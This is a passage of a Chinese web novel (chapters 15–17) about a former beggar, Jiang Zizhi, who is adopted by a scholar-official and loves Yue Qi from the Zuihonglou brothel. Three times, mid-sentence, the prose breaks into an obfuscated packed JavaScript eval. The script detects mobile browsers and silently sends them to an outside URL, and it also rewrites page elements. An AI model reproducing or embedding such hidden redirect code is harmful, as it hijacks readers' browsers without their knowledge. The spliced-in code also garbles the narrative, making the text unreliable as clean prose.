车夫毫不客气,果真就把我丢下了车,车轱辘踏着地上厚厚的雪就走了,“吱呀吱呀”的声音慢慢从我耳边消失。 寒冷一点点侵蚀着我,我被冻得打了个激灵,整个人开始有一点清醒。 大雪簌簌地下着,北风狂啸,夜与寒意交织着,像是吃人的巨兽蛰伏在夜色里,要将人活剥生吞。我望着漫天的雪花,此情此景,我曾见过的,就在八年前,那是我第一次见到月柒,第一次来到醉红楼。 只可惜,那时的月柒尚小,有些事,她可能已经记不清了。 念城的雪依旧冷得无情无义,我立在街头的风雪里,意识恍惚,灯火朦胧中,一切仿佛回到了八年前。 那是个寒冬,那年我八岁,一无所有,处境潦倒,饥寒交迫,离鬼门关仅有一步之遥。 我叫江子执,名字来自于《诗经》中的“执子之手,与子偕老”。曾经我是个无名无姓的孤儿,后来被一个好心的读书人收留,他给我取了这个名字。 在我只有几岁并不忆事的时候,玉宵国战火四起,民不聊生。我的父母死在了一场战乱里,有个好心的乞丐捡到了我,带我去了一个叫“一两帮”的帮派。后来他死了,我也理所当然地变成了乞丐,什么都不懂的年纪,就每天跟着大家沿街乞讨,过着有上顿没下顿的生活。 对我们而言,最开心的事情,莫过于好心的路人施舍了些可以饱腹的食物,虽然不是什么珍馐佳肴,却可以弥补起所有吃不饱的空虚。 而我最喜欢的是秋天,因为可以在城边的密林里摘到各式各样的野果;最害怕的是冬天,因为不知该去往何处,哪里都是冰天雪地,身体上总会有些地方被冻伤,那些伤口因为磕磕碰碰会掉一层皮,暗红色的血液从伤口中肆意地流出,在乍暖还寒的春日里,它们又显得奇痒无比。 后来玉宵国人才辈出,国力日渐鼎盛,一两帮散了,不少人都回归了正常的生活。 他们本就是寻常人家的百姓,不过是因为各种原因不得不背井离乡放弃原本的身份讨一口饭吃。而我不一样,我没有家,没有亲人,没有朋友,甚至,除了乞讨,没有一个能让自己安身立命的本事。 帮主要走的时候,特地拍了拍我的肩膀:“二娃子,学点东西吧,好好活下去。” 我那时甚至连真正意义上的名字都没有,所有人都叫我“二娃”。 那是个秋天,帮主高大伟岸的身影渐渐地消失在残阳里,我坐在河边愣了很久,想着为什么大家都走了,却没人带我走…… 后来我才知道,有一种地方叫故乡,令不少人魂牵梦萦,被视为一生的归宿,可惜那种东西,我没有。 大概是因为秋天不愁吃食,我也没太把帮主的话放在心上,三天打鱼两天晒网地出现在长离街头乞讨,其他时间都在城里城外各处瞎晃悠。 直到冬天的降临,我才发现,原来一个人的冬天,连抱团取暖的做不到的冬天,度日如年,是那么地难熬。 彼时我衣衫褴褛,念城仿佛坠入了冰窖,冷的让人直哆嗦,冷风肆无忌惮地刮着,守夜人已经敲了梆子,恍惚里,我看到了一栋灯火通明的楼,我不知道是幻觉还是真实,只是因为温暖,便拖着步子靠近了几分。 乐声,欢笑声,这个梦温暖得太不真实,大概是本能在作怪,人们都是避害趋利的。我挪着步子又靠近了几分,然后眼前一阵黑,失去了意识。 也不知道过了多久,那种如坠入深渊饿鬼扑食的寒冷从我身上消失了。 察觉到有一只温暖的小手覆上我的额头,我努力的睁开了眼睛,眼前的小姑娘明眸皓齿,梳着小辫,一副天真无邪的样子。 见我醒了,她声音里都带了些欢喜:“娘亲娘亲!我捡到的小哥哥活过来了。” 旁边是个妆容精致的妇人,她望了我一眼,吩咐道:“月儿,你去膳房给小哥哥端点吃的过来。” 小姑娘得到了吩咐就蹦蹦跳跳地走了,她身穿着一身喜庆的红,背影像冬日里涌动着的一簇小火苗。 “这里是醉红楼,烟花柳巷一处,我是这里的风尘女子,你叫我月娘就好了。”妇人语气平和,仿佛在说着一些平淡无奇的家常。 “谢……谢谢……”念城的冬天极寒,以往街头冻死乞丐地事情数不胜数,我想着自己被捡回来了一条小命,简直开心得不得了。 虽然我一无所有,也无牵挂,这世道也不是很太平,可我还是觉得,活下来比死去要好,这样也不枉当年那个救我的乞丐的一番苦心。 “刚才那个是我的女儿,她还小,不过是住在这里而已。昨天晚上她看雪时无意间发现了在楼下被冻得昏迷的你,执意要把你捡回来,我拗不过她,就把你抱回来了。”望着一脸茫然不知所措的我,月娘解释道。 “娘,我回来了。”那个小姑娘把一碗温热的红薯粥递到我面前,声音软糯:“来,快吃。” 许是被饿了太久,我竟忘了道一句感谢,抓过月柒手中的粥,狼吞虎咽起来,恰好的温度,甜过了整一个寒冬。月柒看着我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244470|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咯咯地笑着:“慢点吃,不够还有呢。” 那个冬天暖暖的,月柒还是个爱笑的孩子。 吃饱以后,月娘给我包了一兜子吃食,苦口婆心地跟我说醉红楼是风尘之地,不宜久留,给我了些盘缠,就遣我离开。 那时我还小,不解何谓风尘,只是觉得自己的破烂寒酸和醉红楼的富丽堂皇格格不入,便拿了银两,逃命似地离去。 俗话说,大难不死,必有后福,我未读过圣贤典籍,也不知道这句话里有什么深刻的哲理,可这事偏偏就发生在了我的身上。 拿着月娘给我的碎银两,我徘徊在偌大的念城,开始思索着怎么度过这个难熬的冬天,帮主的话萦绕在我的脑海里。 念城西南角有个书肆,近些年来科举盛行,不少的读书人汇集于此,书肆生意相当火爆。我听人说,在那里可以靠抄书挣取些银两。 我买了身干净的衣裳,好几日徘徊在书肆门口,终究是犹豫了。我生于贫困之家,久久流离于尘世间,未曾上过学堂,根本不识得大字半个。 那门口的小厮一眼就认出了我,一把将我往外推搡:“哟,这不是长离街头的小要饭吗?走开走开,别脏了我的铺子。” 我被他重重推倒在地,手被僵硬的土地擦破了皮,大颗大颗的血粒涌出,疼得我直咬牙,我本来就是理亏,又有求于他们,根本毫无办法。 在乱世中流离久了,便会知道,这个世道,其实是人吃人的,嫌贫爱富,畏强凌弱,才是生存的基本法则。 朦胧的视野里,出现了一只大手,朝我伸过来,摸了摸我的头。那手极暖,那个男人的声音犹如天籁一般:“孩子,摔疼了吗?” 我倔强地用粗布衣裳擦了擦眼泪,朝他挤出一个微笑:“不疼。” 冷暖自知久了,你会发现自己并没有想象的那么坚强,有时候心里会脆弱得跟满载稻草的骆驼,有时一句话就成了压垮自己的最后一根草。 被疏离拒绝久了,突然遇到了一个对我这么好的他,我心里的泪已经溃了堤,肆意奔涌而来,可我不敢当着他的面哭,只能在他偷偷递给我半块烧饼后,转身过去边吃边哭。 听到我说我是个乞丐,想要靠抄书赚取些银两,他带走了我,去了他租的院落。那是一个类似于四合院的宅子,临近还住了十几户人家。 他租的屋子很小,只能摆的下一张简陋的木床、一方木制的古朴的书架和一张边角残缺的大桌子。屋内东西摆放杂乱,落尘满布,唯独那些书卷,不染纤尘,被他小心翼翼地收藏着,精致地装帧着。 他同我讲,他买不起书,但是他需要这些书,所以他只好一边抄书一边给自己留了备份,以供平日观阅。 一面挣钱,一面学习,我感慨他的认真,觉得这不失为一个好方法。 “我不识字。”我和他面对面坐着,他正提笔写着些什么,我坦言道。 “没事,我教你。”他抓过我冰凉的小手,握在他温暖的大手掌里,一笔一划地带引着我写。 可是一离开他的扶持,我就乱了分寸。一个星期过去了,我还是写不好,看到我如爬虫般歪歪曲曲的字迹,他凌厉的剑眉纠结成难以言状的弧度:“所以你是为什么想要抄书?” “因为我要活下去,要娶醉红楼最美的美娇娘。”我朝他粲然一笑。 15. 搞事情 那时候的我还不懂风月为何物,只觉得小小的月柒,是醉红楼最美的姑娘。 可以说,要娶她的想法从那时便诞生了,以至于以后的很多年,我都不知道自己除了她还会娶谁。 “唉,慢慢来吧。”他重重地叹了口气,只当我是开玩笑,根本没把我的话太放在心上,立马回归沉默。 往后的日子里,我替他抄写着一份份的书卷,虽说字奇丑无比,他也不嫌弃,耐心地翻看着。 他每天供我些粗茶淡饭,偶尔会带些油腥,有时候我端详着他细嚼慢咽的样子,觉得他大概是上天予我的最大恩赐。 他每每看到我望着他发呆,总会用筷子敲我的头:“想什么呢,小鬼,快吃饭!” 我没有名字,他也懒得给我起名字,便一直叫我“小鬼”,我也未曾问他姓甚名谁,一直唤他“先生”。 夜里,我和他同睡在那张破破的大床上,有时候我会听见他的梦呓,含含糊糊的,也不知说了什么。 他是个书生,他跟我说,他要去参加科举。我也不懂那是什么,只是看着他夜夜奋笔疾书,觉得科举对他而言很重要,便更加卖力地替他抄书。 那一年金秋,他金榜题名,中了状元。他穿着御赐的锦衣绿袍,着着一尘不染的新靴,游历在熙熙攘攘的念城,接受来来往往人的目光洗礼,风光无限,我坐在他的马前,好奇地打量着四周的人群。 所有人都是带着笑的,就好像这世间并无苦楚,我仰头望向他,眉目俊朗的他,却没有如旁人那般的笑意。 游街结束后,他骑着御赐的宝马,带我狂奔在念城里,最后停在了一个小溪边,窝在我怀里,哭得像个孩子,一遍遍地重复着同一句话:“我找不到了……” 那一刻他的模样我从来未见过,只觉得他脆弱无比。我被吓得手足无措,也跟着他一起哭了起来,我的嚎啕声引来了不少围观的路人。 立马有人认出了他:“咦,那不是新晋的金科状元嘛,他和一个小孩子在这里干嘛?” 吓得他马上捞起我,骑着他的大棕马,一溜烟就跑了。 “我收你做义子吧,从今以后,你就不必颠沛流离了。”他收拾好了细软,正准备去皇城报到,望了望一无所有又无家可归的我,突然开口说。 “嗯嗯。”我头点得跟小鸡啄米似的,自然是满心欢喜,头一次觉得有依有靠的感觉,真好。 他拿起笔墨,在宣纸上写下了“江陵”两个大字,他的字很好看,规规矩矩,一板一眼,刀刻斧凿似的,不像我,写了这么久还像是游龙戏凤。 “认得这两个字不,这是我的名字。”他把那两个大字举到我的面前。 “江、陵。”他教过我一些字,这两个也包括在内,我便一字一顿地念了出来。 “哎,不对,小鬼,你以后要叫我爹。”他望向我,恍然道。 “爹——”他于我如再生父母,我很快就接受了他收养我为义子的事实,撒娇似的,亲昵地蹭了蹭他的手臂。 “对了,你还没有名字呢,也该给你起个名字,叫什么好呢?”他摸着自己的额头,开始认真地思索起来。 蓦地他一眼瞥到了桌上的那本《诗经》:“有了,你就叫‘江子执’吧,执子之手,与子偕老。” “好——”开心!我也是有名字有家的人了,小小的我完全淹没在了喜悦中,更不会想到这个名字背后的深意。诗三百,曰思无邪,为何他偏偏选了这一句? 除了公务,还是公务,此后,他一心扎在了朝堂之上、黎民之中。从翰林起步,到如今,已步升参知政事。 一人得道,鸡犬升天,我承蒙他照顾,在右文殿里做着六品奉事的差,每月月俸也有近六两银子。 而令我万万想不到的的是,我与他的渊源不仅如此,直到后来的很多年,我都在想,这一切究竟是命中注定,还是命运捉弄人。 借着酒意,当我朦朦胧胧摸索回家时,已时过二更。江府的宅子里透着些微弱的灯火,江大人心系天下,体恤百姓,如此这般操劳到深夜,已是常事。 见我归来,有小厮打了灯笼:“老爷吩咐,公子你回来了便去他书房。” 他提着一盏素净的花灯,在前面替我照明引路,我紧随其后。 夜静得像鬼魅一般,只有我们俩踩在雪上的咯吱声。酒意微过,我有些昏昏沉沉的,深一脚浅一脚地踩下去,飘忽不定,连我自己都觉得我像飘荡在这世间的幽魂。 “爹……”爹面色模糊的看不清,但我可以想象,他此时此刻是生气的。 “你又去了醉红楼?”我听得出来,他很努力地压制住住他语气中的愤怒。 这个“又”字,有些刺耳,我不知道他是怎么得知消息的,或许是因为回家太晚,阿笙禁不过盘问,或许是因为醉红楼里的那个男人。 “是……”他既已经知晓,我又何必隐瞒。再者,他位高权重,有什么想知道的,又查不到呢? “胡闹!”他怒不可遏的拍了一下桌子,吓得我酒醒了一大半。 “你可知道,你今天得罪的是谁?那是太傅的儿子!”我不知道我得罪的是谁?我怎么知道。当时我眼里,除了月柒,无暇顾及其他人。 “孽子!太傅忙于政务,无暇教子,你怎的也如此不懂事,花街柳巷,同他儿起了争执?” 狗屁忙于政务,太傅的日常就是教小皇子们功课,如今玉轩枫连半个崽崽都没,那些个王爷的子女个个都比我年长,太傅哪里会忙?还不得一壶清茶,一把躺椅,悠闲起来就是一天,不过这话我可不敢放着他的面说,顶多是心里碎碎念叨番罢了。 大概是觉得骂我也不解气,爹抄起一旁的竹尺,一下一下重重地抽在我身上,怕是用尽了全身的力气。 这阵势,让我想到了当初被学堂教书先生的戒尺支配的恐惧。 真疼!我咬着牙,也不说话,夜很静,静得只能听见竹尺落在皮肉上的声音。 也许是他打累了,见我不做声,他不再有任何动作,反而语重心长地跟我说:“执儿啊,我说了多少遍,你初入朝堂,应该小心谨慎,毕竟有些人,我们都得罪不起……我也是不能一直护你周全的。”他语气里的怒意慢慢平散,转而变成了苦口婆心的劝导。 “执儿以后会注意的。”他似是跟我叮咛过无数遍,为官十几载,毁掉也是一朝一夕的事。 可曾有那么一瞬,我觉得月柒于我而言,是高于一切的存在。 昏黄的灯光下,我看见那张严肃的脸逐渐恢复平静,又开始批阅起公文。我静静立在一边,一言不发地看着他。过了许久许久,他手中的蝇字小书顿了顿,蓦地抬头问我:“不知执儿中意的,是醉红楼哪位姑娘?” “是‘曲无意’。”那一瞬,他没有看见我准备低到尘土里去的头颅。 生平第一次,我对他撒了谎。 父亲一直教育我说,读书人该洁身自好,少沾染一些风月花事。我不知道他为何突然问我这个,但我知道曲无意姑娘行事稳妥,我也害怕他对月柒不利,不得才骗了他。 “哦。”他只是淡淡应了声,目光并未离开纸页,“你下去吧,醒醒酒,早些休息,后面的事我来处理。” 长夜寂寂,我轻轻掩了门,屋内人仿佛传来一声浅浅的叹息。我没有打灯,门外的引我而来的小厮早已没了影,我遁入无边黑夜,回望他的屋子,只看到窗中的一灯如豆。 “嘶,疼,你轻点。”屋内,阿笙把一团金疮药倒在我的背上,粗暴地揉开,好似腌肉一样涂抹着。 “大人这也下手太重了吧,你是怎么惹着他了?”我爹一向脾气很好,见我伤得如此之重,阿笙有些好奇道。 阿笙对此事一无所知,想来这消息不是从他口中传递出去的,如此,便只有那人了。 这太傅家的公子也不知道究竟是哪路神魔鬼怪,非要咬着我不放。此番却也让我心有余悸,他会不会是个不达到目的誓不罢休的人,也因此惦记上月柒? “我又去了醉红楼,被他发现了。”我跟阿笙名义上是主仆,私下里却如兄弟一般,知无不言。 江府的下人们都说,江大人是个很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244471|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔很好的人,可是他把所有的暴虐都施加在了我身上,就比如刚才。 “那你跟他提起过月柒姑娘?”阿笙知道月柒的存在,我偶尔会向他提及月柒的种种。 “没有啊,我害怕他会对月柒采取一些手段,毕竟他官大权重,有一些势力。”爹一向正直,严肃到有时候我都害怕他。醉红楼于他而言,绝对是禁地。 “我觉得不至于吧,要不你主动跟他说说月柒?”阿笙望向我,建议道。 我陷入了对这个问题的深思之中,没有再理会阿笙,如果我主动跟父亲说起月柒,那会是怎样的结果?他是一如既往地刻板地拒绝我,还是再抄起竹尺把我打得皮开肉绽?一切都不得而知,我也不想冒这个险,我倒是死猪不怕开水烫,但我害怕月柒会受到伤害,还有月夫人,她本来就身子虚,禁不起折腾。 “你这两天,少出门,也别去右文殿那边了,我让沈笑和裴浅溪那两个孩子吃点苦,帮你打点一下那边的诸多事宜。”第二天爹出门前反复交代我。 就一句话,不由分说地禁了我的足。 右文殿是我的第二个家,醉红楼是我闲暇时的避风港,一下子,它们都成为了禁地。 我心里暗知不妙,这次篓子肯定是捅大了,也不知道他老人家会如何为我善后。 念城一连十几天的冬雨下得让人有些烦躁,本来是少雨的季节,反常得莫名其妙。 连猫儿都变得不爱理人,我闲来无事想逗逗它,它却蜷缩着身子,睡成了一团。 沈笑却提着醉红楼的酒来看我了。我几天没见江府以外的人影,百无聊赖,看到他的时候几乎是一把扑到他怀里。他腾出拎着酒坛的手,拍了拍我的背:“没事的,一切都好,月柒我替你看着呢,也没再做什么傻事。” 那一瞬我觉得有他真好,就像一个大哥哥一样,替我打点着一切,我听他絮絮说着醉红楼里的点滴,眼泪氤氲,差点没哭出声来。 沈笑走后,我依旧回归到了一个人,可我心里却很暖,至少我还有这么一个好兄弟。 廿七,念柒。 雨沿着屋檐滴落下来,啪嗒啪嗒地砸在青绿色的砖石上。还有一月余,就是新春,我寻思着府里会很忙碌,就在各处打起了下手。 恰好那天,我和管家撑着油纸伞在集市购买府中物资,那个铁笼里关着的淋着雨浑身湿透的姑娘引起了我的注意。 她的手脚上都戴着沉重的镣铐,整个人在笼子的一角蜷缩着,大概是因为冷,双手紧紧地抱住了膝盖。 集市上总有些人贩子贩卖这样年轻力壮的青年人,他们或是战俘,或是富贵人家的下人,因为找不到生路不得已卖身为奴,只为了混口饭吃。 她的长发凌乱地贴着额头,某一瞬间她蓦地抬头,和我的目光对了个正着,那双空洞而又绝望的眸,让我猛地想到了那天的月柒。 仔细一想,江府竟然没有女子! 父亲总是跟我说,少沾染些红尘是非,却不曾想,整个江府,除了月柒送我的那只大白猫,再无任何雌性动物,着实无趣。 大概是因为稀缺,就连那只母猫,也是被优待的。 管家在早市购了新鲜的鱼,总会特地给它留两条,因此那只猫咪伙食甚好,被养得油光锃亮的;阿笙新植的花花草草,总会缺枝残叶,他也从不计较,反而更是喜欢它,还给它起了名字叫“小皮”;连爹都很喜欢它,每每它在爹的公文上印下了一串又一串的梅花,他也不恼,只是摇着头,摸了摸它的脑袋,又把公文誊抄了一遍。 我曾去过沈府,沈笑和他姑姑住在一起,除了表兄沈炎和表妹沈娇,还有六位夫人和一大堆丫鬟老妈子,一屋子人打打闹闹说说笑笑,真是聒噪得不行。反观裴浅溪府邸,尽管人多手杂,但丫鬟小厮们各司其职,井然有序。 再看看我们江府,管家是男的,小厮也是男的,江大人是一个人,我也是孑然一身。大概那天闲来无事,所以感慨也是颇多的,我觉得爹他把我关在府里是个错误的决定,我闲得不由自主地想搞事情,大有一种唯恐天下不乱的心思。 16. 妙手圣音 终究是动容了,心一横,我买下了那一批十二个姑娘,打算放在江府里充当丫鬟。 这一定是我这辈子做过的最后悔的事情,因为自从她们迈进江府的那一刻起,我就想着要拿她们怎么办。 刚安定下来,就有一个姑娘泪眼婆娑地望着我,一个劲儿地揪着我的衣服下摆说着:“谢谢公子救命之恩。” 还好我底盘稳,差点没被她拽得直接扑到地上去,却也只是淡淡地看了她一眼,她大概是觉得我有些嫌弃,忙缩回手,在衣服上蹭了蹭,还低着头用余光瞟我面上的神情。 其实我只是觉得无奈,我真的是不太会跟女孩子们相处,我承认,带她们回来也只是出于同情,现在,我后悔了。 其他丫鬟也是纷纷附和,带着哭腔的感激声一时间此起彼伏,震得我头皮发麻。 “求公子赐名!”有一个姑娘双膝跪地,朝我磕了个头。 我感觉受到如此大礼,自己都会折寿。 “你们之前不是有名字吗?就用原来的呀。”名字不是与生俱来的嘛,我本来如此想着。 “换了主子,我们就该抛弃过往前尘,一切重新开始。”这个姑娘话刚落,其余的人便连连附和。 这句话说得我脑壳都疼了,一下子十二个人的名字,我就读过一些书,称得上是个读书人,又不是学富五车。 可万一起了个她们不喜欢的名字,也是不好的吧。 “这样吧,你们十二个人从‘春、夏、秋、冬,琴、棋、书、画,东、南、西、北’这十二个字中挑选自己喜欢的,然后加一个自己喜欢的字作为名字。”她们想要一个名字,我想要一个她们会喜欢的名字,既然要两全其美,不如让她们自己去选择各自喜欢的吧。终于,名字的问题就这么解决了。 接下来安顿她们也成了一个大问题,江府宅子很大,住倒是不是事。可是突然一下子来了这么多人,我要怎么安排她们?都是些柔弱的姑娘,手不能提肩不能扛的,总不可能让她们做些粗活累活脏活吧? 爹回来的时候,我正在和管家还有十二个姑娘商量她们的分工。 江大人莫不是刚踏进江府,就听到了我们热烈的讨论声,便凑过来一瞧究竟。 我想我永远也忘不了他看见那十二个姑娘时诧异的眼神,像是大白天撞见了鬼一般。 虽是我砸出的烂摊子,可是我也收拾不了,只得向他求助:“爹,我刚招了一批人手进府里,不知如何分配。” 他也没有训斥我,也没有说我胡闹,只是淡淡地说了句:“天凉了,让管家多买些布料,让姑娘们缝纫一番,给大伙儿多添两件新衣裳吧。” 刚说完,他就转身走了,也没有把我叫过去,跟我说一些语重心长的话,这反常的态度让我琢磨不透,我却更加忐忑了。 然后,阿笙就跑过来告诉我:“小江江呀,老爷说,收缴你的存款,以后没收你的月俸,他还说了,凡事大小,需要用钱的地方上报给钟叔,他过目后批准了才给你拨钱。” 我就知道!往往这个时候,他不会对我坐视不管的!没有当面跟我说,大概是顾及到姑娘们的情绪?他这举动,反而让我觉得他很心细。 第二天一早,我朦朦胧胧睁开眼,耳边便传来了一句试探的声音:“公子,你醒啦?” 晚秋明媚的笑意映在我的视线里,着实把我吓得不轻:“你,你要干嘛?” 我想我现在惊恐的样子,完全不亚于那些喝醉酒的汉子,误闯入醉红楼那些姑娘们的闺房,那些姑娘们担惊受怕的表情。 “奴婢来伺候少爷洗漱更衣。”她说着,拧了拧盆中的一条毛巾,准备替我擦脸。 一股无名的怒火自我的心底升腾起来:“你给我出去!” 晚秋也不知自己怎么惹我不开心了,收拾了一番,抱着装了半盆水的面盆就匆匆出去了。 其实也没有什么,就是觉得有人伺候着怪怪的,不如自己动起手来方便。 阿笙拿了一堆稻谷,坐在门口的石凳上,一撮一撮地喂着门前那些活蹦乱跳的鸟雀们。冬季鸟雀觅食不容易,他这么做,也是出于善心。 他看我来了,打趣道:“刚才晚秋姑娘说,她被你赶出来了,哈哈哈。” 听见了脚步声,那些鸟儿便歪了歪脖子,瞅了瞅,发出“啾啾”的声音,蹦哒了一圈以后,又机警地啄了一口面前的谷子。 我扶了扶额,真的,我有时候拿他们一点办法都没有。虽是江府,我也是江大人收养的义子,可我到底还是一个小乞丐,没有那么金贵,凡事可量力而行,也不需要那么多人伺候着。 我记得阿笙刚来江府的时候,一直唤我“少爷、少爷”,我一生气,把他揍了一顿,他完全不敢还手。 我有时候就不是很明白,这世上哪来的那么多条条框框,凡事不都应该随心所欲,怎么简单怎么来嘛。我于他们,不过是命好了些。 “吁——”一声长长的吆喝,伴着马儿的嘶叫声,停在了江府门口。 “哈哈,真好!锦绣布庄趁着入冬,又新进了一批料子,他们说啊,这批料子做出来的衣裳,嘿!暖和。”是外出采购的管家钟伯回来了。 姑娘们各自挑了些料子,开始寻思着做成什么样子,一面给大家量着尺寸。加上新来的十二个人,江府一共只有三十二个人,任务量也不是很大。 “公子,我来给您量量身形。”晚秋的声音怯怯的,怕不是早上被我吓到了。 这个“您”字,让我一下觉得自己老了几十岁。 我没有说话,只是配合着她的动作比划着,早上凶她是我的不对。相比之下,我也是很怕她的,怕她突然把什么惊世骇俗的纲常伦理搬出来,我也是消受不起的。 没过两天,我就看到了爹房里那件新做的衣裳,他看见我打量的目光,解释道:“一个叫吟春的姑娘做的,着实心灵手巧。” 很少听他夸人,我也听得出来,他的这句话是真心的,他没有对这十二个姑娘心存芥蒂,我就很感激。一方面,也是因为这些女孩子真的很优秀呢。 十二个姑娘的领头叫“知画”,是个略懂些曲艺的女子。在她的带领下,姑娘们识字练曲,比划女红刺绣,也在慢慢进步着。 慢慢地,我注意到,有个叫“北疆”的女孩子,性子冷淡,不擅言辞,目光中却带着一丝丝的凌厉,跟其他的叽叽喳喳聒噪的姑娘们大不相同。 日子过得久了,便会越来越觉得,江府所有的一切都是理所当然,我甚至都忘了当初是因为谁的一个眼神一口气带了十二个人回家…… 终于,我被解除了禁足,回归了正常的生活。 可我好多天都没去醉红楼。一方面,因为那天的事,我不知道如何面对月柒,另一方面,我也不想因为常去醉红楼引得父亲担忧,再者,江府多了十二个女子,一切都需要有人打点着。 那天处理完公事回家,一进门就听见了那曲琵琶。和着熟悉的调子,软哝的曲儿,我想大抵是父亲很高兴吧,请了人在府里奏乐,难得他有此雅兴。见他开心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她大概是察觉到了我异样的目光,随口说了句:“并无大碍,只是小时候淘气,割伤了手罢了,如今早已痊愈,公子不必太过惊讶。” 尔后朝我粲然一笑,便放下帷幔走了,马车渐行渐远。 这话要是用来骗骗月柒,她没准会信。说是这么说,我要是信了那我就是傻子。 据我长时间的观察,醉红楼俨然是个卧虎藏龙之地。陈妈妈除了会酿酒,身上还有什么本事我倒是不知道,不过能顺利经营醉红楼二十多年时间,其背后的势力是不容小觑的。 如今新上任的头牌叫早杏,其真实身份是朝廷安插在民间的眼线,至于我如何得知,因为早杏的房间就在月柒隔壁。我曾不止一次看到朝中大臣出入,那些个人都是玉轩枫身边的心腹,而早杏每次出入,势必小心翼翼,被我多次撞见,她也只是当我来找月柒。 还有青羽,她是个执行秘密任务的探子,背后势力庞大,一连三条命案在她手上,她却安然无恙,想想就觉得有问题。 更有一次,我去找月柒,结果看见在她的房间里,玲珑和另外一个姑娘正秘密商谈着什么,我还以为自己走错了门,说了句“唐突”,就见那个脸生的姑娘拿起了一把小的匕首…… 正当我纳闷之时,玲珑摁住她的手,道:“算了,良臣之子,政局看客,搅不起什么风云来的。” 我正揣摩这句话的弦外之音,玲珑却又开口了:“傻小子,还愣着干嘛,还不赶紧走,等我留你晚上吃饭呐?” 想来我那天真的是逃过一劫,次日,玲珑就一脸严肃地跟我说,不要去深究这些东西,也少管醉红楼里的闲事,毕竟,“知道”的背后都是有代价的。 17. 欢喜而终 想来,借着“醉红楼是念城最大的风月之地”这个幌子掩人耳目也是不错的。 在和月柒闹别扭那天前,醉红楼内又莫名其妙的死了个人,死者身份是某江湖势力的头目。月柒说醉红楼的水袖姑娘舞姿妙曼,非拉着我在二楼看舞,可我却感受到,某一瞬,水袖的臂中似有什么东西飞出,银光乍现,不久就传出有人暴毙的消息。虽有官府追查,但这件事却是以死者误食毒物而告终。 如今看来,这个曲无意,也是有些名堂的。 还有玲珑,如此七窍玲珑的女子,在哪里不能安生,偏偏选择了醉红楼…… 还有酒窖里的那具水晶棺,那个人明显是跟林妈妈有些关系的,他是谁?那天醉红楼莫名其妙的杀气腾腾的男子又是谁? 曲无意的事情我也并未多想,就像玲珑说的,知道的越多,反而越不是一件好事。眼下当务之急,是要如何面对我爹,毕竟我骗了他。还有,我答应过月柒会对她负责,但想娶月柒为妻这件事要怎么开口才好。 “爹,您方才跟曲无意谈论娶妻……”算了,反正横竖都是一死,我不妨直接跟他实话实说了吧。 爹听到这话的时候,明显愣了一下,“娶妻?娶月柒?” 看到爹有些不明所以的神态,我突然意识到这是曲无意把我往圈里带,这个曲无意!不过话既已出口,我便接过话茬:“是的,娶月柒。” “哎,这孩子,喜欢就是喜欢,何必遮遮掩掩呢。”没想到爹竟然没有追究我欺骗他一事,如此我心里的石头终于落地了。 “从今天起,你的月俸恢复正常,临近新春,府上的大小事务免不了开支,江府的财务暂且由你先管着吧。”听到他的这番话,我心头是一喜,自从上回我大手大脚买了十二个丫鬟,我爹就扣了我的所有月俸,免得我花天酒地,一日三餐都须在江府吃。此外,所有开支一律都要上报,等管家批准了才许拨给我银两。 如今,掌握了江府的财政大权,我便可以给月夫人买些好的补品调理调理身子,给月柒买些留芳斋新出的糕点解解馋,再给爹买些补神的药,他常常熬夜,身子有些不好,我有时于他书房附近,听到他撕心裂肺的咳嗽声,那声音揪得我心疼。 我完全沉浸在有钱的喜悦之中,爹却又发话了:“执儿啊,什么时候让我也见见曲无意姑娘口中让人过目不忘的月柒姑娘,毕竟是我未来的儿媳呢。” 儿媳。令我万万想不到的是,那个平日里一向厌恶我去醉红楼的爹,此刻竟然能够悦纳月柒。 “执儿你可否跟我说说那月柒的情况?” 我有点懵,爹才得知月柒这丫头的存在,就急于了解她的情况,是不是发展得过于快了一些? 我将自己所知的月柒和月夫人的情况一五一十地道来,还浓墨重彩地渲染了一遍月夫人是如何如何病重,月柒在醉红楼如何如何受人欺负。 “那小柒她爹是谁,可曾听人提起?”却不曾想爹突然问起。 “执儿不知。”醉红楼有多少风流韵事,就能薄凉了多少佳人艳丽的心,也许这件事,对于月夫人而言,是一种伤痛,所以她甚至都不予月柒提起,更何况我一介外人,我也无心追问,只想着是一场不得始终的爱情。 “有了喜欢的人就该好好珍惜,以后娶了月柒就更该如此,切莫负了人家女孩子。”不知怎的,我今日却觉得平日里一向沉默寡言的爹,有些话多。 “执儿会的,谢谢爹。”一时间我按捺不住喜悦的心情——我要把这个好消息告诉月柒。 还记得曾经,月柒哭倒在我的怀里,她说,她只是个女孩子,希望有人疼,有人爱,有人许她有枝可以依,免她颠沛流离。我承认我曾经也为这番言语心动,可我不曾笃定,不敢轻许她任何承诺,只能由怀中的女孩子,生生哭成了泪人。而今,我可以很负责任地告诉她,我愿意娶她,做我唯一的妻。 当我跟月柒讲起十二个丫鬟的事情的时候,月柒正翘着二郎腿,悠悠地啜着一壶茶。 